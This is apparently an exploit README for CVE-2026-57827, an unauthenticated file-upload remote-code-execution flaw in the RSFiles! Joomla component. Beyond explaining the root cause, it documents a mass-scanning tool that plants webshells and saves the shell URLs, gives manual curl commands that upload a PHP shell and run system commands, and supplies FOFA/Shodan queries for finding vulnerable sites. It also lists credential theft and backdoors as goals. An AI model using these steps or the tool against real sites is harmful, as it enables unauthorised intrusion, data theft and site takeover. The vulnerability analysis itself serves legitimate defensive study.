Share 
## https://sploitus.com/exploit?id=FB119A40-17CD-58F6-9E7F-210A7226206B
CVE-2026-57827 โ€” RSFiles! Joomla Component Unauthenticated File Upload RCE
Split-Controller Upload Bypass โ†’ Direct Write Task โ†’ /downloads/shell.php โ†’ RCE

---

## Overview

**CVE-2026-57827** is a critical-severity (CVSS 9.8) **unauthenticated** arbitrary file upload vulnerability in **RSFiles!** (com_rsfiles), a widely used file-manager and download component for Joomla, versions ** **Discovered by:** Phil Taylor, mySites.guru (July 10, 2026)
> **Vendor:** RSJoomla (rsjoomla.com)
> **Component:** com_rsfiles

---

## Vulnerability Mechanism

### Root Cause

RSFiles! splits its upload across two separate frontend tasks:

```php
// Task 1 โ€” Pre-flight check (GUARDED)
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkUpload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 โ€” Write method (UNGUARDED โ€” the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's bundled upload handler, which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // Joomla's JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /components/com_rsfiles/downloads/
}
```

### Why It Works

1. **Split controller** โ€” Security checks and the file write are in two different methods. Only the pre-flight check is guarded.
2. **Direct task access** โ€” Joomla's frontend controller allows calling any task directly via `&task=rsfiles.upload`, skipping the pre-flight check entirely.
3. **No authentication** โ€” The frontend controller has no access check. Anonymous visitors can call the write task.
4. **No CSRF token** โ€” The frontend upload form has no site-wide CSRF token.
5. **No file-type validation** โ€” The write method reads the filename from the request and passes it to Joomla's bundled upload handler (`JFile::upload()`), which accepts any file type by default.
6. **Web-root downloads folder** โ€” RSFiles!'s default downloads folder sits inside the web root. The protective `.htaccess` that would stop PHP execution there is an **opt-in** admin setting that is **OFF by default**.

### Attack Flow

```
1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file= (multipart, PHP payload)
   format=raw
3. Joomla's frontend controller dispatches to rsfiles.upload()
   โ†’ No permission check โ†’ No file-type check
   โ†’ JFile::upload() accepts any file type
4. File saved to /components/com_rsfiles/downloads/{shell_name}.php
5. GET /components/com_rsfiles/downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes โ†’ RCE as www-data
```

### Key Design Flaw

The security checks (permission gate + extension allow-list) are a **separate pre-flight step** from the method that actually writes the file. Only the first one holds the checks. The second one โ€” the one that writes to disk โ€” could be **called directly** by crafting the right `task` parameter in the URL, bypassing all security controls.

This is a textbook example of the "checks and actions in different places" anti-pattern: the guard and the operation it's supposed to protect are decoupled, and an attacker can reach the operation without passing through the guard.

---

## Installation

```bash
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests
```

## Usage

```bash
# Single target
python cve_2026_57827.py -t target.com

# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
```

### Arguments

```
  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output
```

---

## Proof of Concept

### Single Target

```bash
$ python cve_2026_57827.py -t joomla-site.com
```

```
  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s
```

### Manual Exploitation

**Step 1 โ€” Upload the shell**
```bash
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload&format=raw' \
  -F 'file=@shell.php'
```

**Step 2 โ€” Access the shell**
```bash
curl 'https://target.com/components/com_rsfiles/downloads/shell.php?c=id'
```

**Step 3 โ€” Execute commands**
```bash
curl 'https://target.com/components/com_rsfiles/downloads/shell.php?c=id;hostname;uname -a'
```

---

## FOFA / Shodan

```
FOFA:   body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"
```

---

## Impact

Successful exploitation yields **remote code execution as the web server user**:
- Extract `configuration.php` โ†’ database credentials, SMTP secrets
- Access all Joomla content, users, and extension data
- Deploy persistent backdoors
- Pivot to internal networks
- Deface website or inject malware

No account on the site is needed at any step. Anonymous, unauthenticated, remote.

---

## The Fix (1.17.12)

RSJoomla fixed the vulnerability in version 1.17.12 by:
- Adding a permission check to the **write method** itself (not just the pre-flight)
- Adding file-type validation to the write method
- Enforcing CSRF token on the frontend upload endpoint
- Making the `.htaccess` protection in the downloads folder **enabled by default**

---

## Disclaimer

> **FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.**
>
> Do not use against systems without explicit permission from the owner. The authors assume no liability for misuse.

---

## References

| Resource | Link |
|---|---|
| NVD Entry | [CVE-2026-57827](https://nvd.nist.gov/vuln/detail/CVE-2026-57827) |
| mySites.guru Advisory | [mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce](https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/) |
| RSJoomla Advisory | [rsjoomla.com](https://www.rsjoomla.com/joomla-extensions/joomla-download-manager.html) |
| CWE-434 | [Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html) |
| Reporter | Phil Taylor, mySites.guru |

---


  Not affiliated with RSJoomla or mySites.guru.